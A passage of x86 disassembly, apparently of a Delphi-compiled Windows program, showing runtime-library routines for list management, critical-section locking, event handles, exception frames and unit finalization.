sub_4001369C endp
; =============== S U B R O U T I N E =======================================
sub_400136BC proc near ; CODE XREF: sub_4001326C+38p
; sub_400133D4+4Dp ...
push ebx
push esi
push edi
mov edi, edx
mov ebx, eax
mov esi, [ebx+8]
cmp esi, [ebx+0Ch]
jnz short loc_400136D1
mov eax, ebx
mov edx, [eax]
call dword ptr [edx]
loc_400136D1: ; CODE XREF: sub_400136BC+Dj
mov eax, [ebx+4]
mov [eax+esi*4], edi
inc dword ptr [ebx+8]
test edi, edi
jz short loc_400136E9
xor ecx, ecx
mov edx, edi
mov eax, ebx
mov ebx, [eax]
call dword ptr [ebx+4]
loc_400136E9: ; CODE XREF: sub_400136BC+20j
mov eax, esi
pop edi
pop esi
pop ebx
retn
sub_400136BC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400136F0 proc near ; DATA XREF: .text:40013094o
push ebx
mov ebx, eax
xor edx, edx
mov eax, ebx
call sub_400138D4
xor edx, edx
mov eax, ebx
call sub_40013898
pop ebx
retn
sub_400136F0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40013708 proc near ; CODE XREF: sub_40013328+2Dp
; sub_40013328+62p ...
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
test esi, esi
jl short loc_40013718
cmp esi, [ebx+8]
jl short loc_40013727
loc_40013718: ; CODE XREF: sub_40013708+9j
mov edx, off_4001B05C
mov ecx, esi
mov eax, [ebx]
call sub_400137A8
loc_40013727: ; CODE XREF: sub_40013708+Ej
mov edx, esi
mov eax, ebx
call sub_400137FC
mov edi, eax
dec dword ptr [ebx+8]
mov eax, [ebx+8]
cmp esi, eax
jge short loc_40013756
sub eax, esi
mov ecx, eax
add ecx, ecx
add ecx, ecx
mov eax, [ebx+4]
lea edx, [eax+esi*4]
mov eax, [ebx+4]
lea eax, [eax+esi*4+4]
call sub_40002DFC
loc_40013756: ; CODE XREF: sub_40013708+32j
test edi, edi
jz short loc_40013765
mov cl, 2
mov edx, edi
mov eax, ebx
mov ebx, [eax]
call dword ptr [ebx+4]
loc_40013765: ; CODE XREF: sub_40013708+50j
pop edi
pop esi
pop ebx
retn
sub_40013708 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4001376C proc near ; CODE XREF: sub_40013770+9p
mov eax, [ebp+4]
retn
sub_4001376C endp
; =============== S U B R O U T I N E =======================================
sub_40013770 proc near ; CODE XREF: sub_400137A8+2Dp
; DATA XREF: .text:40013098o
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
push ebx
push esi
add esp, 0FFFFFFF8h
mov esi, ecx
mov ebx, edx
call sub_4001376C
push eax
mov [esp+14h+var_10], esi
mov [esp+14h+var_C], 0
lea eax, [esp+14h+var_10]
push eax
push 0
mov ecx, ebx
mov dl, 1
mov eax, ds:off_40012F88
call sub_4000B06C
jmp sub_400042E4
sub_40013770 endp
; ---------------------------------------------------------------------------
pop ecx
pop edx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400137A8 proc near ; CODE XREF: sub_40013708+1Ap
; sub_400137FC+19p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, ecx
mov ebx, edx
xor eax, eax
push ebp
push offset loc_400137F0
push dword ptr fs:[eax]
mov fs:[eax], esp
lea edx, [ebp+var_4]
mov eax, ebx
call sub_400062F0
mov edx, [ebp+var_4]
mov ecx, esi
mov eax, ds:off_40013040
call sub_40013770
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_400137F7
loc_400137E7: ; CODE XREF: sub_400137A8+4Dj
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_400137F0: ; DATA XREF: sub_400137A8+Eo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_400137E7
; ---------------------------------------------------------------------------
loc_400137F7: ; CODE XREF: sub_400137A8+47j
; DATA XREF: sub_400137A8+3Ao
pop esi
pop ebx
pop ecx
pop ebp
retn
sub_400137A8 endp
; =============== S U B R O U T I N E =======================================
sub_400137FC proc near ; CODE XREF: sub_40013328+18p
; sub_40013328+4Dp ...
push ebx
push esi
mov esi, edx
mov ebx, eax
test esi, esi
jl short loc_4001380B
cmp esi, [ebx+8]
jl short loc_4001381A
loc_4001380B: ; CODE XREF: sub_400137FC+8j
mov edx, off_4001B05C
mov ecx, esi
mov eax, [ebx]
call sub_400137A8
loc_4001381A: ; CODE XREF: sub_400137FC+Dj
mov eax, [ebx+4]
mov eax, [eax+esi*4]
pop esi
pop ebx
retn
sub_400137FC endp
; ---------------------------------------------------------------------------
align 4
loc_40013824: ; DATA XREF: .text:off_4001308Co
mov edx, [eax+0Ch]
cmp edx, 40h
jle short loc_4001383A
mov ecx, edx
test ecx, ecx
jns short loc_40013835
add ecx, 3
loc_40013835: ; CODE XREF: .text:40013830j
sar ecx, 2
jmp short loc_4001384B
; ---------------------------------------------------------------------------
loc_4001383A: ; CODE XREF: .text:4001382Aj
cmp edx, 8
jle short loc_40013846
mov ecx, 10h
jmp short loc_4001384B
; ---------------------------------------------------------------------------
loc_40013846: ; CODE XREF: .text:4001383Dj
mov ecx, 4
loc_4001384B: ; CODE XREF: .text:40013838j
; .text:40013844j
add ecx, edx
mov edx, ecx
call sub_40013898
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40013858 proc near ; CODE XREF: sub_40013878+6p
; sub_40013A1C+31p
push ebx
xor ecx, ecx
jmp short loc_4001385E
; ---------------------------------------------------------------------------
loc_4001385D: ; CODE XREF: sub_40013858+11j
inc ecx
loc_4001385E: ; CODE XREF: sub_40013858+3j
cmp ecx, [eax+8]
jge short loc_4001386B
mov ebx, [eax+4]
cmp edx, [ebx+ecx*4]
jnz short loc_4001385D
loc_4001386B: ; CODE XREF: sub_40013858+9j
cmp ecx, [eax+8]
jnz short loc_40013873
or ecx, 0FFFFFFFFh
loc_40013873: ; CODE XREF: sub_40013858+16j
mov eax, ecx
pop ebx
retn
sub_40013858 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40013878 proc near ; CODE XREF: sub_40013AB8+28p
push ebx
push esi
mov ebx, eax
mov eax, ebx
call sub_40013858
mov esi, eax
test esi, esi
jl short loc_40013892
mov edx, esi
mov eax, ebx
call sub_40013708
loc_40013892: ; CODE XREF: sub_40013878+Fj
mov eax, esi
pop esi
pop ebx
retn
sub_40013878 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40013898 proc near ; CODE XREF: sub_400136F0+10p
; .text:4001384Fp ...
push ebx
push esi
mov esi, edx
mov ebx, eax
cmp esi, [ebx+8]
jl short loc_400138AB
cmp esi, 7FFFFFFh
jle short loc_400138BA
loc_400138AB: ; CODE XREF: sub_40013898+9j
mov edx, off_4001AFE4
mov ecx, esi
mov eax, [ebx]
call sub_400137A8
loc_400138BA: ; CODE XREF: sub_40013898+11j
cmp esi, [ebx+0Ch]
jz short loc_400138D0
mov edx, esi
add edx, edx
add edx, edx
lea eax, [ebx+4]
call sub_40002C54
mov [ebx+0Ch], esi
loc_400138D0: ; CODE XREF: sub_40013898+25j
pop esi
pop ebx
retn
sub_40013898 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400138D4 proc near ; CODE XREF: sub_400136F0+7p
push ebx
push esi
push edi
push ebp
mov esi, edx
mov ebx, eax
test esi, esi
jl short loc_400138E8
cmp esi, 7FFFFFFh
jle short loc_400138F7
loc_400138E8: ; CODE XREF: sub_400138D4+Aj
mov edx, off_4001AFA0
mov ecx, esi
mov eax, [ebx]
call sub_400137A8
loc_400138F7: ; CODE XREF: sub_400138D4+12j
cmp esi, [ebx+0Ch]
jle short loc_40013905
mov edx, esi
mov eax, ebx
call sub_40013898
loc_40013905: ; CODE XREF: sub_400138D4+26j
mov eax, [ebx+8]
cmp esi, eax
jle short loc_40013926
mov edx, [ebx+4]
lea edx, [edx+eax*4]
mov ecx, esi
sub ecx, eax
mov eax, ecx
add eax, eax
add eax, eax
xor ecx, ecx
xchg eax, edx
call sub_40003580
jmp short loc_4001393D
; ---------------------------------------------------------------------------
loc_40013926: ; CODE XREF: sub_400138D4+36j
mov ebp, eax
dec ebp
mov edi, esi
sub edi, ebp
jg short loc_4001393D
dec edi
loc_40013930: ; CODE XREF: sub_400138D4+67j
mov edx, ebp
mov eax, ebx
call sub_40013708
dec ebp
inc edi
jnz short loc_40013930
loc_4001393D: ; CODE XREF: sub_400138D4+50j
; sub_400138D4+59j
mov [ebx+8], esi
pop ebp
pop edi
pop esi
pop ebx
retn
sub_400138D4 endp
; ---------------------------------------------------------------------------
align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
align 4
; =============== S U B R O U T I N E =======================================
sub_4001394C proc near ; CODE XREF: sub_400191F8+60p
; sub_400191F8+71p ...
push ebx
push esi
test dl, dl
jz short loc_4001395A
add esp, 0FFFFFFF0h
call sub_40003F30
loc_4001395A: ; CODE XREF: sub_4001394C+4j
mov ebx, edx
mov esi, eax
xor edx, edx
mov eax, esi
call sub_40003CB8
lea eax, [esi+8]
push eax
call sub_400065E0 ; InitializeCriticalSection
mov dl, 1
mov eax, ds:off_40013040
call sub_40003CB8
mov [esi+4], eax
mov byte ptr [esi+20h], 0
mov eax, esi
test bl, bl
jz short loc_40013998
call sub_40003F88
pop large dword ptr fs:0
add esp, 0Ch
loc_40013998: ; CODE XREF: sub_4001394C+3Bj
mov eax, esi
pop esi
pop ebx
retn
sub_4001394C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400139A0 proc near ; DATA XREF: .text:400130ECo
var_5 = byte ptr -5
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
call sub_40003FD8
mov [ebp+var_5], dl
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
call sub_40013AA4
xor eax, eax
push ebp
push offset loc_40013A03
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+var_4]
mov eax, [eax+4]
call sub_40003CE8
movzx edx, [ebp+var_5]
and dl, 0FCh
mov eax, [ebp+var_4]
call sub_40003CD8
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40013A0A
loc_400139EE: ; CODE XREF: sub_400139A0+68j
mov eax, [ebp+var_4]
call sub_40013B08
mov eax, [ebp+var_4]
add eax, 8
push eax
call sub_40006518 ; RtlDeleteCriticalSection
retn
; ---------------------------------------------------------------------------
loc_40013A03: ; DATA XREF: sub_400139A0+1Co
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_400139EE
; ---------------------------------------------------------------------------
loc_40013A0A: ; DATA XREF: sub_400139A0+49o
cmp [ebp+var_5], 0
jle short loc_40013A18
mov eax, [ebp+var_4]
call sub_40003F80
loc_40013A18: ; CODE XREF: sub_400139A0+6Ej
pop ecx
pop ecx
pop ebp
retn
sub_400139A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40013A1C proc near ; CODE XREF: sub_400135EC+20p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, edx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
call sub_40013AA4
xor eax, eax
push ebp
push offset loc_40013A98
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+var_4]
cmp byte ptr [eax+20h], 1
jz short loc_40013A55
mov eax, [ebp+var_4]
mov eax, [eax+4]
mov edx, ebx
call sub_40013858
inc eax
jnz short loc_40013A64
loc_40013A55: ; CODE XREF: sub_40013A1C+27j
mov eax, [ebp+var_4]
mov eax, [eax+4]
mov edx, ebx
call sub_400136BC
jmp short loc_40013A82
; ---------------------------------------------------------------------------
loc_40013A64: ; CODE XREF: sub_40013A1C+37j
mov eax, [ebp+var_4]
cmp byte ptr [eax+20h], 2
jnz short loc_40013A82
mov edx, off_4001AF90
mov eax, [ebp+var_4]
mov eax, [eax+4]
mov eax, [eax]
mov ecx, ebx
call sub_400137A8
loc_40013A82: ; CODE XREF: sub_40013A1C+46j
; sub_40013A1C+4Fj
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40013A9F
loc_40013A8F: ; CODE XREF: sub_40013A1C+81j
mov eax, [ebp+var_4]
call sub_40013B08
retn
; ---------------------------------------------------------------------------
loc_40013A98: ; DATA XREF: sub_40013A1C+15o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40013A8F
; ---------------------------------------------------------------------------
loc_40013A9F: ; CODE XREF: sub_40013A1C+7Bj
; DATA XREF: sub_40013A1C+6Eo
pop ebx
pop ecx
pop ebp
retn
sub_40013A1C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40013AA4 proc near ; CODE XREF: sub_400139A0+14p
; sub_40013A1C+Dp ...
push ebx
mov ebx, eax
lea eax, [ebx+8]
push eax
call sub_40006520 ; RtlEnterCriticalSection
mov eax, [ebx+4]
pop ebx
retn
sub_40013AA4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40013AB8 proc near ; CODE XREF: sub_40015840+79p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, edx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
call sub_40013AA4
xor eax, eax
push ebp
push offset loc_40013AFB
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+var_4]
mov eax, [eax+4]
mov edx, ebx
call sub_40013878
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40013B02
loc_40013AF2: ; CODE XREF: sub_40013AB8+48j
mov eax, [ebp+var_4]
call sub_40013B08
retn
; ---------------------------------------------------------------------------
loc_40013AFB: ; DATA XREF: sub_40013AB8+15o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40013AF2
; ---------------------------------------------------------------------------
loc_40013B02: ; CODE XREF: sub_40013AB8+42j
; DATA XREF: sub_40013AB8+35o
pop ebx
pop ecx
pop ebp
retn
sub_40013AB8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40013B08 proc near ; CODE XREF: sub_400139A0+51p
; sub_40013A1C+76p ...
add eax, 8
push eax
call sub_400065E8 ; RtlLeaveCriticalSection
retn
sub_40013B08 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40013B14 proc near ; DATA XREF: .text:40013144o
push ebx
push esi
call sub_40003FD8
mov ebx, edx
mov esi, eax
mov eax, esi
call sub_40013D90
mov edx, ebx
and dl, 0FCh
mov eax, esi
call sub_40003CD8
test bl, bl
jle short loc_40013B3D
mov eax, esi
call sub_40003F80
loc_40013B3D: ; CODE XREF: sub_40013B14+20j
pop esi
pop ebx
retn
sub_40013B14 endp
; =============== S U B R O U T I N E =======================================
sub_40013B40 proc near ; DATA XREF: .text:40013150o
test edx, edx
jz short loc_40013B4A
xchg eax, edx
mov ecx, [eax]
call dword ptr [ecx]
retn
; ---------------------------------------------------------------------------
loc_40013B4A: ; CODE XREF: sub_40013B40+2j
xor edx, edx
call sub_40013B54
retn
sub_40013B40 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40013B54 proc near ; CODE XREF: sub_40013B40+Cp
; .text:40013C25p
var_114 = dword ptr -114h
var_110 = byte ptr -110h
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_104 = byte ptr -104h
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFEECh
push ebx
push esi
xor ecx, ecx
mov [ebp+var_4], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_40013C0A
push dword ptr fs:[eax]
mov fs:[eax], esp
test esi, esi
jz short loc_40013B97
lea edx, [ebp+var_104]
mov eax, [esi]
call sub_40003C6C
lea edx, [ebp+var_104]
lea eax, [ebp+var_4]
call sub_40004AE8
jmp short loc_40013BA4
; ---------------------------------------------------------------------------
loc_40013B97: ; CODE XREF: sub_40013B54+24j
lea eax, [ebp+var_4]
mov edx, offset dword_40013C20
call sub_4000491C
loc_40013BA4: ; CODE XREF: sub_40013B54+41j
mov eax, [ebp+var_4]
mov [ebp+var_114], eax
mov [ebp+var_110], 0Bh
lea edx, [ebp+var_104]
mov eax, [ebx]
call sub_40003C6C
lea eax, [ebp+var_104]
mov [ebp+var_10C], eax
mov [ebp+var_108], 4
lea eax, [ebp+var_114]
push eax
push 1
mov ecx, off_4001AFAC
mov dl, 1
mov eax, ds:off_400073E4
call sub_4000B128
call sub_400042E4
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40013C11
loc_40013C01: ; CODE XREF: sub_40013B54+BBj
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_40013C0A: ; DATA XREF: sub_40013B54+17o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40013C01
; ---------------------------------------------------------------------------
loc_40013C11: ; CODE XREF: sub_40013B54+B5j
; DATA XREF: sub_40013B54+A8o
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40013B54 endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 3
dword_40013C20 dd 6C696Eh ; ---------------------------------------------------------------------------
loc_40013C24: ; DATA XREF: .text:off_40013148o
xchg eax, edx
call sub_40013B54
retn
; ---------------------------------------------------------------------------
align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40013C30 proc near ; DATA XREF: .text:4001315Eo
var_104 = byte ptr -104h
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFEFCh
push ebx
push esi
push edi
xor ecx, ecx
mov [ebp+var_4], ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_40013CC5
push dword ptr fs:[eax]
mov fs:[eax], esp
lea edx, [ebp+var_104]
mov eax, [ebx]
call sub_40003C6C
lea edx, [ebp+var_104]
mov eax, edi
call sub_40004AE8
mov eax, ebx
mov si, 0FFFFh
call sub_40003EC8
test eax, eax
jz short loc_40013CAF
mov eax, ebx
mov si, 0FFFFh
call sub_40003EC8
lea edx, [ebp+var_4]
mov si, 0FFFEh
call sub_40003EC8
cmp [ebp+var_4], 0
jz short loc_40013CAF
push [ebp+var_4]
push offset dword_40013CDC
push dword ptr [edi]
mov eax, edi
mov edx, 3
call sub_40004C08
loc_40013CAF: ; CODE XREF: sub_40013C30+4Aj
; sub_40013C30+67j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40013CCC
loc_40013CBC: ; CODE XREF: sub_40013C30+9Aj
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_40013CC5: ; DATA XREF: sub_40013C30+18o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40013CBC
; ---------------------------------------------------------------------------
loc_40013CCC: ; CODE XREF: sub_40013C30+94j
; DATA XREF: sub_40013C30+87o
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40013C30 endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 1
dword_40013CDC dd 2Eh ; ---------------------------------------------------------------------------
loc_40013CE0: ; DATA XREF: .text:4001315Ao
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40013CE4 proc near ; CODE XREF: sub_40013ED4+36p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
push esi
push edi
mov [ebp+var_8], edx
mov [ebp+var_4], eax
cmp ds:dword_4001F2E0, 0
jz loc_40013D86
mov eax, ds:dword_4001F2E0
call sub_40013AA4
mov edi, eax
xor eax, eax
push ebp
push offset loc_40013D7F
push dword ptr fs:[eax]
mov fs:[eax], esp
mov ebx, [edi+8]
dec ebx
cmp ebx, 0
jl short loc_40013D67
loc_40013D23: ; CODE XREF: sub_40013CE4+81j
mov edx, ebx
mov eax, edi
call sub_400137FC
mov esi, eax
cmp [ebp+var_4], 0
jz short loc_40013D3C
mov eax, [esi+8]
cmp eax, [ebp+var_4]
jnz short loc_40013D61
loc_40013D3C: ; CODE XREF: sub_40013CE4+4Ej
cmp [ebp+var_8], 0
jz short loc_40013D51
mov edx, [esi+10h]
mov eax, [ebp+var_8]
call sub_40007B90
test al, al
jz short loc_40013D61
loc_40013D51: ; CODE XREF: sub_40013CE4+5Cj
mov edx, ebx
mov eax, edi
call sub_40013708
mov eax, esi
call sub_40003CE8
loc_40013D61: ; CODE XREF: sub_40013CE4+56j
; sub_40013CE4+6Bj
dec ebx
cmp ebx, 0FFFFFFFFh
jnz short loc_40013D23
loc_40013D67: ; CODE XREF: sub_40013CE4+3Dj
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40013D86
loc_40013D74: ; CODE XREF: sub_40013CE4+A0j
mov eax, ds:dword_4001F2E0
call sub_40013B08
retn
; ---------------------------------------------------------------------------
loc_40013D7F: ; DATA XREF: sub_40013CE4+2Bo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40013D74
; ---------------------------------------------------------------------------
loc_40013D86: ; CODE XREF: sub_40013CE4+16j
; sub_40013CE4+9Aj
; DATA XREF: ...
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
retn
sub_40013CE4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40013D90 proc near ; CODE XREF: sub_40013B14+Dp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], eax
cmp ds:dword_4001F2E0, 0
jz short loc_40013E0E
mov eax, ds:dword_4001F2E0
call sub_40013AA4
mov edi, eax
xor eax, eax
push ebp
push offset loc_40013E07
push dword ptr fs:[eax]
mov fs:[eax], esp
mov ebx, [edi+8]
dec ebx
cmp ebx, 0
jl short loc_40013DEF
loc_40013DC6: ; CODE XREF: sub_40013D90+5Dj
mov edx, ebx
mov eax, edi
call sub_400137FC
mov esi, eax
mov eax, [esi+4]
cmp eax, [ebp+var_4]
jnz short loc_40013DE9
mov edx, ebx
mov eax, edi
call sub_40013708
mov eax, esi
call sub_40003CE8
loc_40013DE9: ; CODE XREF: sub_40013D90+47j
dec ebx
cmp ebx, 0FFFFFFFFh
jnz short loc_40013DC6
loc_40013DEF: ; CODE XREF: sub_40013D90+34j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40013E0E
loc_40013DFC: ; CODE XREF: sub_40013D90+7Cj
mov eax, ds:dword_4001F2E0
call sub_40013B08
retn
; ---------------------------------------------------------------------------
loc_40013E07: ; DATA XREF: sub_40013D90+22o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40013DFC
; ---------------------------------------------------------------------------
loc_40013E0E: ; CODE XREF: sub_40013D90+11j
; sub_40013D90+76j
; DATA XREF: ...
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn
sub_40013D90 endp
; =============== S U B R O U T I N E =======================================
sub_40013E14 proc near ; CODE XREF: sub_400191F8+1Ap
push offset dword_4001F2E4
call sub_400065E0 ; InitializeCriticalSection
push offset dword_40013E44
push 0
push 0FFFFFFFFh
push 0
call sub_40006508 ; CreateEventA
mov ds:dword_4001F2CC, eax
cmp ds:dword_4001F2CC, 0
jnz short locret_40013E41
call sub_4000C410
locret_40013E41: ; CODE XREF: sub_40013E14+26j
retn
sub_40013E14 endp
; ---------------------------------------------------------------------------
align 4
dword_40013E44 dd 0
; =============== S U B R O U T I N E =======================================
sub_40013E48 proc near ; CODE XREF: sub_40013ED4+7Dp
push offset dword_4001F2E4
call sub_40006518 ; RtlDeleteCriticalSection
mov eax, ds:dword_4001F2CC
push eax
call sub_400064F0 ; CloseHandle
retn
sub_40013E48 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40013E60 proc near ; CODE XREF: sub_40013ED4+2Dp
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov eax, ds:dword_4001F2D4
call sub_40013AA4
mov edi, eax
xor eax, eax
push ebp
push offset loc_40013EB5
push dword ptr fs:[eax]
mov fs:[eax], esp
mov ebx, [edi+8]
dec ebx
test ebx, ebx
jl short loc_40013E9D
inc ebx
xor esi, esi
loc_40013E8B: ; CODE XREF: sub_40013E60+3Bj
mov edx, esi
mov eax, edi
call sub_400137FC
call sub_40003CE8
inc esi
dec ebx
jnz short loc_40013E8B
loc_40013E9D: ; CODE XREF: sub_40013E60+26j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40013EBC
loc_40013EAA: ; CODE XREF: sub_40013E60+5Aj
mov eax, ds:dword_4001F2D4
call sub_40013B08
retn
; ---------------------------------------------------------------------------
loc_40013EB5: ; DATA XREF: sub_40013E60+15o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40013EAA
; ---------------------------------------------------------------------------
loc_40013EBC: ; CODE XREF: sub_40013E60+54j
; DATA XREF: sub_40013E60+45o
mov eax, ds:dword_4001F2D4
call sub_40003CE8
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40013E60 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40013ECC proc near ; DATA XREF: sub_40013ED4+69o
; sub_400191F8+1Fo
call sub_40013510
retn
sub_40013ECC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40013ED4 proc near ; DATA XREF: .text:40018398o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_40013F78
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4001F2D0
jnz short loc_40013F6A
mov eax, ds:dword_4001E7F8
call sub_40013510
mov eax, ds:dword_4001F2C8
mov edx, [eax]
call dword ptr [edx+14h]
call sub_40013E60
xor edx, edx
xor eax, eax
call sub_40013CE4
mov eax, offset dword_4001F2E0
call sub_4000C970
call sub_40006428
lea eax, [eax+8]
call sub_4000C970
mov eax, offset dword_4001F2D8
call sub_4000C970
mov eax, offset dword_4001F2C8
call sub_40006204
mov eax, offset sub_40013ECC
call sub_4000609C
mov eax, offset dword_4001AA94
call sub_4000C970
call sub_40013E48
mov eax, offset dword_4001F2DC
call sub_4000C970
mov eax, offset dword_4001F2C8
call sub_40006204
loc_40013F6A: ; CODE XREF: sub_40013ED4+17j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40013F7F
loc_40013F77: ; CODE XREF: sub_40013ED4+A9j
retn
; ---------------------------------------------------------------------------
loc_40013F78: ; DATA XREF: sub_40013ED4+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40013F77
; ---------------------------------------------------------------------------
loc_40013F7F: ; CODE XREF: sub_40013ED4:loc_40013F77j
; DATA XREF: sub_40013ED4+9Eo
pop ebp
retn
sub_40013ED4 endp
; ---------------------------------------------------------------------------
align 4
off_40013F84 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF68o
dd 0FF92h, 0FFFFFFFFh, 1
dword_40013F94 dd 30h, 0FFFFFFFFh, 1, 31h ; .data:4001AA9Co
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40013FA4 proc near ; DATA XREF: .text:400183A0o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_40013FE0
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4001F2FC
jnz short loc_40013FD2
mov eax, offset off_4001AA98
mov ecx, 2
mov edx, ds:off_40001000
call sub_40005314
loc_40013FD2: ; CODE XREF: sub_40013FA4+17j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40013FE7
loc_40013FDF: ; CODE XREF: sub_40013FA4+41j
retn
; ---------------------------------------------------------------------------
loc_40013FE0: ; DATA XREF: sub_40013FA4+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40013FDF
; ---------------------------------------------------------------------------
loc_40013FE7: ; CODE XREF: sub_40013FA4:loc_40013FDFj
; DATA XREF: sub_40013FA4+36o
pop ebp
retn
sub_40013FA4 endp
; ---------------------------------------------------------------------------
align 4
off_40013FEC dd offset dword_40014038 ; DATA XREF: sub_400140B4+19r
; sub_4001464C+50r ...
dd 7 dup(0)
dd offset dword_40014038
dd 0Ch
dd offset off_40006DE0
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
dd offset sub_40003C80
dd offset sub_40003C9C
dd offset sub_40003CD8
dword_40014038 dd 65524512h, 74736967h, 78457972h, 74706563h, 906E6F69h
; DATA XREF: .text:off_40013FECo
; .text:4001400Co
off_4001404C dd offset dword_40014098 ; DATA XREF: .itext:400194A4r
; .itext:40019505r
dd 2 dup(0)
dd offset dword_40014098
dd 4 dup(0)
dd offset word_400140AA
dd 1Ch
dd offset off_4000101C
dd offset sub_40003EF4
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_40003F08
dd offset nullsub_4
